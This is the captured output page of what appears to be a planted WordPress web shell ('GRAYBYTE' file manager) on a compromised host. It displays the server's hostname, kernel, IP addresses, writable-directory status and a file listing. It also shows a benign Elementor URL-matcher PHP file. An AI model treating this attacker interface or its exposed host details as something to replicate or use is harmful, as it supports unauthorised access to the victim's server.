✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.6
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/public_html/wp-content/plugins/elementor/modules/editor-one/classes//url-matcher.php
<?php

namespace Elementor\Modules\EditorOne\Classes;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class Url_Matcher {

	public function get_match_score( string $menu_url, string $current_uri ): int {
		$menu_parsed = wp_parse_url( $menu_url );

		if ( empty( $menu_parsed['path'] ) ) {
			return -1;
		}

		$current_parsed = wp_parse_url( $current_uri );

		if ( empty( $current_parsed['path'] ) ) {
			return -1;
		}

		if ( basename( $menu_parsed['path'] ) !== basename( $current_parsed['path'] ) ) {
			return -1;
		}

		$menu_query = $this->parse_query_string( $menu_parsed['query'] ?? '' );
		$current_query = $this->parse_query_string( $current_parsed['query'] ?? '' );

		if ( ! $this->query_params_match( $menu_query, $current_query ) ) {
			return -1;
		}

		return count( $menu_query );
	}

	public function parse_query_string( string $query ): array {
		$params = [];

		if ( '' !== $query ) {
			parse_str( $query, $params );
		}

		return $params;
	}

	public function query_params_match( array $required, array $actual ): bool {
		foreach ( $required as $key => $value ) {
			if ( ! isset( $actual[ $key ] ) || $actual[ $key ] !== $value ) {
				return false;
			}
		}

		return true;
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
12 Jun 2026 10.25 AM
tdhomesa / tdhomesa
0755
active-menu-resolver.php
2.658 KB
20 Jan 2026 1.22 PM
tdhomesa / tdhomesa
0644
legacy-submenu-interceptor.php
4.65 KB
20 Jan 2026 1.22 PM
tdhomesa / tdhomesa
0644
menu-config.php
4.09 KB
30 Mar 2026 1.49 PM
tdhomesa / tdhomesa
0644
menu-data-provider.php
15.526 KB
5 Feb 2026 1.46 AM
tdhomesa / tdhomesa
0644
slug-normalizer.php
0.767 KB
22 Dec 2025 5.25 PM
tdhomesa / tdhomesa
0644
url-matcher.php
1.175 KB
22 Dec 2025 5.25 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF